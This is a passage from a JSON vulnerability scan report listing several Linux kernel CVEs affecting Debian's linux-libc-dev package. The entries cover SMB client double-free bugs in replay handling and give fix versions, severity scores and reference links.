"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/b55e182f2324bc6a604c21a47aa6c448f719a532%20%287.2-rc1%29", "https://git.kernel.org/stable/c/02bc2896bdc3e29362d6e40d404006944a159c25", "https://git.kernel.org/stable/c/14498ff5ce0f272ce0ef988721413e06b7038972", "https://git.kernel.org/stable/c/3196b5192f246df4272072f61a2f4a3e9967f55d", "https://git.kernel.org/stable/c/b55e182f2324bc6a604c21a47aa6c448f719a532", "https://git.kernel.org/stable/c/ff2d30927bc3bf3c629f0768d2068096e64ef5ce", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-qdjafsahwkgf.toml", "https://linux.oracle.com/cve/CVE-2026-64382.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026072525-CVE-2026-64382-5957@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64382", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64382" ], "PublishedDate": "2026-07-25T10:17:21.477Z", "LastModifiedDate": "2026-10-19T21:17:34.557Z" }, { "VulnerabilityID": "CVE-2026-64383", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64383", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b56c6eaef65d13b040e5cd506b4acec1a3ac8a3becb07249c329dd43d6c5b56e", "Title": "kernel: smb: client: fix double-free in SMB2_flush() replay", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix double-free in SMB2_flush() replay\n\nSMB2_flush() keeps its response buffer bookkeeping across replay\nattempts. If a replayable flush response is received and the retry then\nfails before cifs_send_recv() stores a replacement response, flush_exit\nwill free the stale response pointer a second time.\n\nReinitialize resp_buftype and rsp_iov at the top of the replay loop so\ncleanup only acts on response state produced by the current attempt.\nThis fixes a double-free without changing replay handling for successful\nrequests.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:L", "V3Score": 6.4 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64383", "https://access.redhat.com/errata/RHSA-2026:71232", "https://access.redhat.com/security/cve/CVE-2026-64383", "https://bugzilla.redhat.com/2432674", "https://bugzilla.redhat.com/2492381", "https://bugzilla.redhat.com/2502243", "https://bugzilla.redhat.com/2502251", "https://bugzilla.redhat.com/2502498", "https://bugzilla.redhat.com/2507134", "https://bugzilla.redhat.com/2507399", "https://bugzilla.redhat.com/2510890", "https://bugzilla.redhat.com/2513481", "https://bugzilla.redhat.com/2516527", "https://bugzilla.redhat.com/2528676", "https://bugzilla.redhat.com/2532176", "https://bugzilla.redhat.com/2535391", "https://bugzilla.redhat.com/show_bug.cgi?id=2432674", "https://bugzilla.redhat.com/show_bug.cgi?id=2492381", "https://bugzilla.redhat.com/show_bug.cgi?id=2502243", "https://bugzilla.redhat.com/show_bug.cgi?id=2502251", "https://bugzilla.redhat.com/show_bug.cgi?id=2502498", "https://bugzilla.redhat.com/show_bug.cgi?id=2507134", "https://bugzilla.redhat.com/show_bug.cgi?id=2507399", "https://bugzilla.redhat.com/show_bug.cgi?id=2510890", "https://bugzilla.redhat.com/show_bug.cgi?id=2513481", "https://bugzilla.redhat.com/show_bug.cgi?id=2516527", "https://bugzilla.redhat.com/show_bug.cgi?id=2517043", "https://bugzilla.redhat.com/show_bug.cgi?id=2528676", "https://bugzilla.redhat.com/show_bug.cgi?id=2532176", "https://bugzilla.redhat.com/show_bug.cgi?id=2535391", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63802", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63831", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64534", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64564", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68201", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89846", "https://errata.almalinux.org/9/ALSA-2026-71232.html", "https://errata.rockylinux.org/RLSA-2026:71232", "https://git.kernel.org/linus/4be31c943a3a27a5a0251dbb8f5cb89059ec3d5a%20%287.2-rc1%29", "https://git.kernel.org/stable/c/013a9a3da46c5dabcf18f65ea6a47874ba12a15d", "https://git.kernel.org/stable/c/3407240cde132a4b72d6429a2625a09a2f78adaf", "https://git.kernel.org/stable/c/4be31c943a3a27a5a0251dbb8f5cb89059ec3d5a", "https://git.kernel.org/stable/c/6e27f40b682a5e42a2daae3ce6d96f0e0e16dedb", "https://git.kernel.org/stable/c/878757163eea684750107a31ea134c103863515d", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-zf6tnjufx6ux.toml", "https://linux.oracle.com/cve/CVE-2026-64383.html", "https://linux.oracle.com/errata/ELSA-2026-71233.html", "https://lore.kernel.org/linux-cve-announce/2026072525-CVE-2026-64383-5a13@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64383", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64383" ], "PublishedDate": "2026-07-25T10:17:21.587Z", "LastModifiedDate": "2026-10-19T21:17:34.703Z" }, { "VulnerabilityID": "CVE-2026-64385", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64385", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:183b8f920995b77c32e29483e6ec059efb38720267eeedebf3ea0b8839e1ec24", "Title": "kernel: Kernel SMB client: Double-free vulnerability allows remote denial of service or privilege escalation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix double-free in SMB2_ioctl() replay\n\nA response-bearing attempt can return a replayable error and free its\nresponse buffer. If SMB2_ioctl_init() fails before the next send, cleanup\nretains the previous buffer type and frees that response again.\n\nReset response bookkeeping before each attempt to prevent the stale free.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64385", "https://access.redhat.com/errata/RHSA-2026:81406", "https://access.redhat.com/security/cve/CVE-2026-64385", "https://bugzilla.redhat.com/2468043", "https://bugzilla.redhat.com/2502397", "https://bugzilla.redhat.com/2502872", "https://bugzilla.redhat.com/2507035", "https://bugzilla.redhat.com/2507153", "https://bugzilla.redhat.com/2507218", "https://bugzilla.redhat.com/2513451", "https://bugzilla.redhat.com/2516396", "https://bugzilla.redhat.com/2516657", "https://bugzilla.redhat.com/2524478", "https://bugzilla.redhat.com/2535265", "https://bugzilla.redhat.com/show_bug.cgi?id=2468043", "https://bugzilla.redhat.com/show_bug.cgi?id=2502397", "https://bugzilla.redhat.com/show_bug.cgi?id=2502872", "https://bugzilla.redhat.com/show_bug.cgi?id=2507035", "https://bugzilla.redhat.com/show_bug.cgi?id=2507153", "https://bugzilla.redhat.com/show_bug.cgi?id=2507218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513451", "https://bugzilla.redhat.com/show_bug.cgi?id=2516396", "https://bugzilla.redhat.com/show_bug.cgi?id=2516657", "https://bugzilla.redhat.com/show_bug.cgi?id=2524478", "https://bugzilla.redhat.com/show_bug.cgi?id=2535265", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43332", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63925", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64507", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68123", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72289", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72318", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80521", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89970", "https://errata.almalinux.org/10/ALSA-2026-81406.html", "https://errata.rockylinux.org/RLSA-2026:81406", "https://git.kernel.org/linus/f9bbadb6c94583e3b4af1afc449bfceb1d1ddec9%20%287.2-rc1%29", "https://git.kernel.org/stable/c/0be4bc64882edaefaaee8d1e27d083643eb778e6", "https://git.kernel.org/stable/c/276c8efbc49f9303ac76d0d4deab7128581b0f3b", "https://git.kernel.org/stable/c/96fcfc8ae7359346156e492ca610e830d2649ad6", "https://git.kernel.org/stable/c/f9bbadb6c94583e3b4af1afc449bfceb1d1ddec9", "https://git.kernel.org/stable/c/fc65ffb4ef1bf540da16b17c225ae51091e07d72", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-7ehvtd91a9iw.toml", "https://linux.oracle.com/cve/CVE-2026-64385.html", "https://linux.oracle.com/errata/ELSA-2026-81406.html", "https://lore.kernel.org/linux-cve-announce/2026072526-CVE-2026-64385-80b2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64385", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64385" ], "PublishedDate": "2026-07-25T10:17:21.81Z", "LastModifiedDate": "2026-10-19T21:17:34.997Z" }, { "VulnerabilityID": "CVE-2026-64386", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64386", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cc88faaf72aebeed2c01402e655aca992baa3daab0df4411d51a79fc2123fc0f", "Title": "kernel: smb: client: fix query_info() replay double-free", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix query_info() replay double-free\n\nA response-bearing attempt can return a replayable error and free its\nresponse buffer. If SMB2_query_info_init() fails before the next send,\ncleanup retains the previous buffer type and frees that response again.\n\nReset response bookkeeping before each attempt to prevent the stale free.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-64386", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/2a88561d66eb855813cf004a0abe648bbb17de5e%20%287.2-rc1%29", "https://git.kernel.org/stable/c/100fb7c455fa86d248b8bd7bb9de757c192870b4", "https://git.kernel.org/stable/c/2a88561d66eb855813cf004a0abe648bbb17de5e", "https://git.kernel.org/stable/c/3c81dda84799f76b42aec598564316e2964440db", "https://git.kernel.org/stable/c/89234773e8348918111aa15f6922b58cf3843364", "https://git.kernel.org/stable/c/f1add4acb656f5a82806a1ab0e63fed3d8b1bfca", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-80alwaqywojt.toml", "https://linux.oracle.com/cve/CVE-2026-64386.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026072526-CVE-2026-64386-9e73@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64386", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64386" ], "PublishedDate": "2026-07-25T10:17:21.917Z", "LastModifiedDate": "2026-10-19T21:17:35.14Z" }, { "VulnerabilityID": "CVE-2026-64387", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64387", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4988b28819c95e84f77b0c6e4f7eb3089e9e3de4fa567cee51e03fd372675d33", "Title": "kernel: smb: client: fix query directory replay double-free", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix query directory replay double-free\n\nA response-bearing attempt can return a replayable error and free its\nresponse buffer. If SMB2_query_directory_init() fails before the next send,\ncleanup retains the previous buffer type and frees that response again.\n\nReset response bookkeeping before each attempt to prevent the stale free.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-64387", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/linus/9647492b5e41954be59d5157eddbcd4cdc1656f7%20%287.2-rc1%29", "https://git.kernel.org/stable/c/00b0fa425941438b664950a8ee65dfba2def4336", 